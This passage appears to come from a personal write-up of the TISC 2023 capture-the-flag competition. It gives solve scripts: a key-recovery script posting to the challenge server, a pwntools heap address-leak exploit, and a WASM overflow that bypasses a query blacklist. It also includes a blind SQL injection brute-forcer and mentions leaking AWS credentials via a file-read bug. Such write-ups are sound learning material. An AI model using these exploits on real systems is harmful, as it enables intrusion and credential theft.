if ( *(_BYTE *)array_get(16, (unsigned int)&keyMix, v93, v94, v95, v96, v130.ptr, v130.ref, v131, v132) != 37 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(3, (unsigned int)&keyMix, v97, v98, v99, v100, v130.ptr, v130.ref, v131, v132) != 45 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(4, (unsigned int)&keyMix, v101, v102, v103, v104, v130.ptr, v130.ref, v131, v132) != 94 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(26, (unsigned int)&keyMix, v105, v106, v107, v108, v130.ptr, v130.ref, v131, v132) != 120 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(28, (unsigned int)&keyMix, v109, v110, v111, v112, v130.ptr, v130.ref, v131, v132) != 87 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(15, (unsigned int)&keyMix, v113, v114, v115, v116, v130.ptr, v130.ref, v131, v132) != 110 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(7, (unsigned int)&keyMix, v117, v118, v119, v120, v130.ptr, v130.ref, v131, v132) != 46 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(5, (unsigned int)&keyMix, v121, v122, v123, v124, v130.ptr, v130.ref, v131, v132) != 96 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
if ( *(_BYTE *)array_get(9, (unsigned int)&keyMix, v125, v126, v127, v128, v130.ptr, v130.ref, v131, v132) != 40 )
return (void *)0xFFFFFFFFLL;
dest = &v130;
memmove(&v130, &keyMix, 0x20uLL);
return (void *)(unsigned int)main__decrypt(v130);
}

Using these as constraints, we can get an array that should be set. However we need to make sure to shuffle it according to their algorithm.

arr = [0]*32
arr[31] = 118
arr[19] = 0
arr[21] = 87
arr[13] = 19
arr[30] = 110
arr[14] = 84
arr[20] = 63
arr[24] = 91
arr[12] = 43
arr[29] = 22
arr[11] = 104
arr[10] = 17
arr[2] = 100
arr[6] = 23
arr[0] = 106
arr[18] = 40
arr[27] = 28
arr[25] = 20
arr[1] = 1
arr[22] = 59
arr[17] = 104
arr[8] = 117
arr[23] = 126
arr[16] = 37
arr[3] = 45
arr[4] = 94
arr[26] = 120
arr[28] = 87
arr[15] = 110
arr[7] = 46
arr[5] = 96
arr[9] = 40
orig = [0]*32
for i in range(32):
l = 32-i-1
if l != 0:
orig[l] = (arr[l] ^ arr[l-1] ^ (l+1)) - 5
else:
orig[0] = (arr[0] ^ 1) - 5
print(orig)
print(''.join(chr(c) for c in orig))
pvb_COPY = orig
for k in range(32):
pvb_COPY[k] += 5
pvb_COPY[k] ^= k+1
if k > 0:
pvb_COPY[k] ^= pvb_COPY[k-1]
print(pvb_COPY)
print(arr)
arr = [102, 100, 97, 72, 113, 51, 107, 44, 77, 82, 45, 112, 73, 49, 67, 37, 85, 90, 78, 55, 37, 121, 118, 88, 55, 80, 114, 115, 81, 90, 98, 51]
arr = ''.join(chr(c) for c in arr)
from requests import *
host = "http://chals.tisc23.ctf.sg:48471"
s = Session()
s.cookies['id'] = args.R
link = f"{host}/{arr}"
r = s.post(link)
print(r)
print(r.text)
stream = s.get(f"{host}/get_4d_number", stream=True)
for l in stream.iter_lines():
if l:
print(l)

Challenge 7

This challenge was annoying due to how large the methods were.

A breif summary is: Fill up the memory except one, so that the next allocation will be same memory as the the name and motto allocation. This can be used to leak out memory addresses.

The solve script is provided as below:

for i in range(0x250-2):
print(i)
add_newspaper(b"A")
print('adding...')
add_cd_dvd()
change_name_motto(b"", b"")
p.recvuntil("[Name]: ")
name = p.recvline()
p.recvuntil("[Motto]: ")
motto = p.recvline()
print(hexdump(name))
print(hexdump(motto))
file = u64(bytes(name[1:7][::-1]).ljust(8, b'\0')) - 0x61f8
success(f"{hex(file) = }")
for i in range(5):
rmv_newspaper(1)
if p64(file)[5] != 0x55 and p64(file)[5] != 0x56 and p64(file)[5] != 0x57:
print("nope")
print(p64(file)[5])
error(f"{hex(file) = }")
exit(1)
shuff = p64(file + 0x8054)[::-1]
for i in range(15):
change_name_motto(shuff*2, shuff*4)
pause()
add_bookshelf(b"BOOK")
p.sendlineafter(":", "2")
p.sendlineafter(":", "2")
p.sendlineafter(":", str(0))
p.sendlineafter(":", "5")
p.interactive()

Challenge 8

We are given server.js file. There is a obvious vulnerability to leak arbitrary files; we use this to leak the AWS config file.

const express = require('express');
const app = express();
const port = 3000;
const db = require('./db');
const AWS = require('aws-sdk');
process.env.AWS_SDK_LOAD_CONFIG = 1;
AWS.config.getCredentials((err) => {
if (err) console.log(err.stack);
// TODO: Add more comments here
else {
console.log("Access key:", AWS.config.credentials.accessKeyId);
console.log("Region:", AWS.config.region);
}
});
const lambda = new AWS.Lambda();
const session = require('express-session');
const flash = require('connect-flash');
const bodyParser = require('body-parser');
app.use(session({
secret: 'mysecret',
resave: true,
saveUninitialized: true
}));
app.use(flash());
var pug = require('pug')
app.set('view engine', 'pug');
var toolsObj = {};
toolsObj.saveFlash = function(req, res) {
res.locals.errors = req.flash("error");
res.locals.successes = req.flash("success");
};
module.exports = toolsObj;
app.use(bodyParser.urlencoded({
extended: true
}));
app.get('/', (req, res) => {
res.send(pug.renderFile('login.pug', {
messages: req.flash()
}));
});
app.get('/reminder', (req, res) => {
const username = req.query.username;
res.send(pug.renderFile('reminder.pug', { username }));
});
app.get('/remind', (req, res) => {
const username = req.query.username;
const reminder = req.query.reminder;
res.send(pug.renderFile('remind.pug', { username, reminder }));
});
app.post('/api/submit-reminder', (req, res) => {
const username = req.body.username;
const reminder = req.body.reminder;
const viewType = req.body.viewType;
res.send(pug.renderFile(viewType, { username, reminder })); // BUG: SSTI?
});
app.post('/api/login', (req, res) => {
// pk> Note: added URL decoding so people can use a wider range of characters for their username :)
// dr> Are you crazy? This is dangerous. I've added a blacklist to the lambda function to prevent any possible attacks.
const username = req.body.username;
const password = req.body.password;
if (!username || !password) {
req.flash('error', "No username/password received");
req.session.save(() => {
res.redirect('/');
});
}
const payload = JSON.stringify({
username,
password
});
try {
lambda.invoke({
FunctionName: 'craft_query',
Payload: payload
}, (err, data) => {
if (err) {
req.flash('error', 'Uh oh. Something went wrong.');
req.session.save(() => {
res.redirect('/');
});
} else {
const responsePayload = JSON.parse(data.Payload);
const result = responsePayload;
if (result !== "Blacklisted!") {
const sql = result;
db.query(sql, (err, results) => {
if (err) {
req.flash('error', 'Uh oh. Something went wrong.');
req.session.save(() => {
res.redirect('/');
});
} else if (results.length !== 0) {
res.redirect(`/reminder?username=${username}`);
} else {
req.flash('error', 'Invalid username/password');
req.session.save(() => {
res.redirect('/');
});
}
});
} else {
req.flash('error', 'Blacklisted');
req.session.save(() => {
res.redirect('/');
});
}
}
});
} catch (error) {
console.log(error)
req.flash('error', 'Uh oh. Something went wrong.');
req.session.save(() => {
res.redirect('/');
});
}
});
app.listen(port, () => {
console.log(`Server listening at http://localhost:${port}`);
});

The rendering only captures so much, but it’s enough:

Once we have that we can try to do typical AWS enumeration

We know that we are looking for AWS lambda function, so we can try to download the source code:

The function is mostly a wrap around a WASM file. This can be decompiled with Ghidra:

undefined4 export::craft_query(undefined4 username,undefined4 password)
{
undefined4 uVar1;
undefined local_90 [59];
undefined local_55;
undefined local_50 [68];
uint local_c;
undefined4 local_8;
undefined4 local_4;
local_c = 1;
local_8 = password;
local_4 = username;
weird_urldecode(local_50,username);
copy(local_90,local_8,0x3b);
local_55 = 0;
uVar1 = (**(code **)((ulonglong)local_c * 4))(local_50,local_90);
return uVar1;
}
char * export::load_query(undefined4 param1,undefined4 param2)
{
unnamed_function_5(param1,param2,s_0123456789ABCDEF_ram_00010250 + 0x10,300);
return s_0123456789ABCDEF_ram_00010250 + 0x10;
}
void unnamed_function_5(undefined4 param1,undefined4 param2,undefined4 param3,undefined4 param4)
{
undefined4 local_20;
undefined4 local_1c;
undefined4 local_10;
undefined4 local_c;
undefined4 local_8;
undefined4 local_4;
local_20 = param1;
local_1c = param2;
local_10 = param4;
local_c = param3;
local_8 = param2;
local_4 = param1;
// snprintf
unnamed_function_11(param3,param4,s_SELECT_*_from_Users_WHERE_userna_ram_00010036,&local_20);
return;
}
void weird_urldecode(char *dest,char *src)
{
int d1;
int d2;
char *srcptr;
char *dstptr;
srcptr = src;
dstptr = dest;
while (*srcptr != '\0') {
if (*srcptr == '%') {
d1 = ctodigit((int)srcptr[1]);
d2 = ctodigit((int)srcptr[2]);
if ((d1 == -1) || (d2 == -1)) {
*dstptr = *srcptr;
srcptr = srcptr + 1;
dstptr = dstptr + 1;
}
else {
srcptr = srcptr + 3;
write_byte(dstptr,d1 * 0x10 + d2);
d1 = weird_strlen(dstptr);
dstptr = dstptr + d1;
}
}
else {
*dstptr = *srcptr;
srcptr = srcptr + 1;
dstptr = dstptr + 1;
}
}
*dstptr = '\0';
return;
}

For whatever reason, craft_query does a indirect call. Note that the weird_urldecode does an unbounded copy, so we can overflow all the way to overwrite the local_4 variable. The indirect call uses the variable as an index into the global function table. If we change the index from 1 to 2, we call load_query instead of is_blacklisted, bypassing the blacklist entirely.

So now we can execute an arbitrary query, but the result is not shown to us; only a failure/success message, so its a typical Blind SQLi challenge.

from requests import *
import string
import subprocess
import time
def act(pre):
query = f"\" UNION SELECT * from Users WHERE password like '{pre}' # "
adj = query.count('%')
username, password = query.ljust(0x50-0xc + adj*2, 'A') + "%02%00%00", "A"
print(username, password)
print(len(username))
print(len(password))
if len(password) > 0x3b:
raise "too long!"
out = subprocess.check_output(["node", "./lambda/wrap.js", username, password])
print(out)
return b"SELECT" not in out
def test(pre):
for i in range(1):
if act(pre):
return True
return False
chars = "TISC{"
print(test("T%25"))
#exit(0)
while True:
add = False
for c in string.printable:
time.sleep(0)
if c == '%' or c == '_' or c == '\n' or c == '\t':
continue
if test("%25" + chars[-6:] + c + "%25"):
chars += c
add=True
break
print(chars)
if not add:
exit(0)

I managed to crash the server ~10 times while doing this. Thanks to the CTF challenge organizers for fixing it up everytime.

Challenge 9

We are given the typical Chrome v8 pwn setup, including the patch.diff. The patch only adds one function which leaks the TheHole value to the interpreter side.

This challenge initially had a very easy exploit: load('flag'). It was patched afterwards, but I paused solving it for a while so that they could get it up. Sadly, I didn’t have time to pursue this challenge afterwards due to my gazillion interviews.

Conclusion

I had fun with this iteration of TISC and the challenges were definitely more skilled than the previous iteration. Hope the next iteration is as good.